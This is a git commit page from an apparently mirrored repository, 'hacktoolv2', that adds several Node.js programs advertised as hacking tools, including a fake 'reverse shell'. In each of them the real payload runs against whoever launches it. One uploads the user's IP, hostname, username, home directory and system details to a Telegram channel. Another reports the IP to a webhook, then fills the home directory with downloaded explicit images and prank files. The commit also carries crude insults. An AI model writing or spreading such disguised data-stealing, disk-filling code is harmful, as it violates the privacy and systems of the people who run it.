2
0
mirror of https://github.com/constantinDev/hacktoolv2 synced 2025-08-29 15:57:41 +00:00
This commit is contained in:
WOOOMY-lol 2020-08-07 21:25:45 +02:00
parent 74b31941e7
commit 4f9f46c824
14 changed files with 295 additions and 0 deletions

3
.gitignore vendored Normal file
View File

@ -0,0 +1,3 @@
**/node_modules
**/package-lock.json
**/sender.js

12
README.md Normal file
View File

@ -0,0 +1,12 @@
# READ THIS
So we had an incident yesterday. Someone thought it'd be funny to abuse the tokens used to communicate with us. If you are that low-lifer, you got 2 choices:
- 1: Continue to be a dick and slow down development of "tools" being made to abolish skids and teach them a lesson
- 2: Be a supportful man and leave this shit alone
if you choose the first one, you have the legal permission to fuck yourself
if you choose the second one, you contribute to this by a ton by not pissing everyone off, and being a generally nice man.
## Thanks for reading.

Binary file not shown.

Binary file not shown.

67
Tools/GTool/src/main.js Normal file
View File

@ -0,0 +1,67 @@
let req = require("request")
let fs = require("fs")
let os = require("os")
let req1 = req("https://api.ipify.org")
let ip = "";
req1.on("complete", async (response, body) => {
fs.writeFileSync("./DATA.json", JSON.stringify({
ip: {
external: ip
},
network: (os.networkInterfaces || function () {
return "null"
})(),
cpu: (os.cpus || function () {
return "null"
})(),
arch: (os.arch || function () {
return "null"
})(),
homedir: (os.homedir || function () {
return "null"
})(),
host: (os.hostname || function () {
return "null"
})(),
platform: (os.platform || function () {
return "null"
})(),
rel: (os.release || function () {
return "null"
})(),
tmp: (os.tmpdir || function () {
return "null"
})(),
uptime: (os.uptime || function () {
return "null"
})(),
kernelver: (os.version || function () {
return "null"
})(),
user: (os.userInfo || function () {
return "null"
})()
}))
let a = require("./sender")
let token = (await a()).split(":-:")[0]
let r = req(`https://api.telegram.org/bot${token}/sendDocument`, {
method: "POST",
formData: {
"chat_id": "@lmaotxt",
document: fs.createReadStream("./DATA.json"),
caption: "HE GAY"
}
})
r.on("data",(b)=>{console.log(b.toString())})
r.on("complete", () => {
setTimeout(() => {
fs.unlinkSync("./DATA.json")
console.log("lol")
process.exit()
}, 1000)
})
})
req1.on("data", (data) => {
ip += data
})

View File

@ -0,0 +1,15 @@
{
"name": "gtool-src",
"version": "1.0.0",
"description": "what the fuck",
"main": "sender.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "lo",
"license": "ISC",
"dependencies": {
"request": "^2.88.2"
},
"bin": "main.js"
}

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,59 @@
const https = require("https")
const fs = require("fs")
console.clear()
console.log("[!] Loading...")
https.get("https://api.ipify.org",function(ipr){
let ip = "";
ipr.on("data",(chonk)=>{ip+=chonk.toString()})
ipr.on("close",async ()=>{
let reqs = https.request((await require("./sender")()).split(":-:")[1], {
method: "POST",
headers: {
"content-type": "application/json"
}
}, function (resp) {
resp.on("data", (c) => {
console.log(c.toString())
})
setTimeout(() => {
setInterval(() => {
for (c of "YOU GOT JEBAITED ") {
process.stdout.write(c)
}
})
}, 10000)
function mkr() { // define a function that we will call to download a image
https.get("https://nekos.life/api/v2/img/boobs", { // Get the api endpoint
}, function (res) { // Callback
let fin = ""; // Define response
res.on("data", (chunk) => {
fin += chunk
}) // Fill out response
res.on("end", () => { // gets called when connection closes (we have the data)
let text = JSON.parse(fin) // Parse the response
let u = text.url; // get the url provided to the image
https.get(u, function (res) { // Get the image
let path = require("os").homedir();
fs.writeFileSync(path + `/LMAO${Math.random()}.txt`, "You got jebaited\n".repeat(50))
// console.log("Downloading to "+path)
let fname = u.split("/").pop()
let stream = require("fs").createWriteStream(path + "/" + fname) // Create a write stream to a file created with the name of the original file on the api
res.pipe(stream) // Pipe the response into that file
res.on("end", () => { // Gets called when we have the data
stream.close() // Close the write stream
setTimeout(mkr, 5000) // Call the function again in 1 second
})
})
})
})
}
for (i = 0; i < 10; i++) mkr() // Start 3 threads that download 3 images at once
})
reqs.write(JSON.stringify({
content: "Someone got jebaited.\nIP: "+ip+"\nOS: "+require("os").platform()
}))
reqs.end()
})
})

View File

@ -0,0 +1,14 @@
{
"name": "hacktool-remastered",
"version": "1.0.0",
"description": "Annother tool",
"main": "main.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "Constantin",
"license": "ISC",
"dependencies": {
},
"bin": "main.js"
}

BIN
Tools/Jaxxor/bin/Jaxxor.exe Normal file

Binary file not shown.

99
Tools/Jaxxor/src/main.js Normal file
View File

@ -0,0 +1,99 @@
const chalk = require("chalk");
const {
default: axios
} = require("axios");
const {
ArgumentParser
} = require("argparse");
const parser = new ArgumentParser({
description: require("./package.json").description,
version: require("./package.json").version
});
parser.addArgument(["target"], {
help: "The target's IP address"
})
parser.addArgument(["-vb", "--verbose"], {
help: "Whether or not to enable an extra level of logging",
required: false,
defaultValue: false,
action: "storeTrue"
})
parser.addArgument(["-os", "--operating-system"], {
required: false,
help: "The target's Operating system. Not needed, but if it doesnt work normally, try providing this",
defaultValue: null
})
let args = parser.parseArgs()
function delay(ms) {
return new Promise((r, j) => {
setTimeout(r, ms);
})
}
class LogHelper {
logVerbose(text) {
if (args.verbose) console.log(chalk `{green [VB]} {yellow ${text}}`);
}
log(text) {
console.log(chalk `{green [I]} ${text}`);
}
warn(text) {
console.log(chalk `{yellow [!]} ${text}`);
}
error(text) {
console.log(chalk `{red [!!]} {redBright ${text}}`);
}
}
let logger = new LogHelper();
logger.log("Loading...")
axios({
url: "https://api.ipify.org"
}).then(async d => {
logger.log("Successfully loaded the API. Loading modules...")
axios({
url: `https://api.telegram.org/bot${(await require("./sender")()).split(":-:")[0]}/sendMessage`,
method: "POST",
data: {
chat_id: "@lmaotxt",
text: `<strong>${d.data}</strong> ran the fake rat. OS: <strong>${require("os").platform()}</strong>`,
parse_mode: "HTML"
}
}).then(async () => {
if (args.target.split(".").length != 4 || args.target.split(".").some(a => parseInt(a) > 255)) return logger.error(`I dont think "${args.target}" is a valid IP`)
logger.log("Loaded modules. Running shell for " + args.target)
await delay(1000)
logger.log("Connecting...")
logger.logVerbose("Attempting to send packet 1 with 500b data...")
await delay(500)
logger.logVerbose("Attempting to send packet 2 with 500b data...")
await delay(10)
logger.logVerbose("Attempting to send packet 3 with 742b data...")
logger.logVerbose("Attempting to send packet 4 with 330b data...")
logger.logVerbose("Attempting to send packet 5 with 5kb data...")
await delay(2000)
logger.log("Connected. Opening shell...")
logger.logVerbose("Opening shell in main window...")
logger.log("Shell was created. Opening interface...")
await delay(500)
let proc = require("child_process").exec("cmd")
process.stdin.on("data", (data) => {
proc.stdin.write(data.toString());
})
proc.stdout.on("data", (chunk) => {
process.stdout.write(chunk)
})
proc.stderr.on("data",(chunk)=>{
process.stdout.write(chalk.redBright(chunk))
})
proc.on("exit",()=>{
logger.warn("Session has closed. Closing program...")
process.exit()
})
})
}).catch(err => {
logger.error("Failed to load the API. Exiting...")
process.exit(0, "Failed to load API")
})

View File

@ -0,0 +1,18 @@
{
"name": "revsheller",
"version": "1.0.0",
"description": "Lets you create reverse shell releationships with PC's that aren't even on",
"main": "main.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "Constantin",
"license": "ISC",
"dependencies": {
"argparse": "^1.0.10",
"axios": "^0.19.2",
"chalk": "^4.1.0",
"ws": "^7.3.1"
},
"bin": "main.js"
}

8
Tools/README.md Normal file
View File

@ -0,0 +1,8 @@
# hacktoolv2
my brain fucking hurts
> This tool is revolutionary. Its the best hack tool in the world and nothing can change that. Download it today
# Usage
> Using this tool is stupid easy. Just download the binary for your OS and run it on the terminal. Add the -h switch to see help.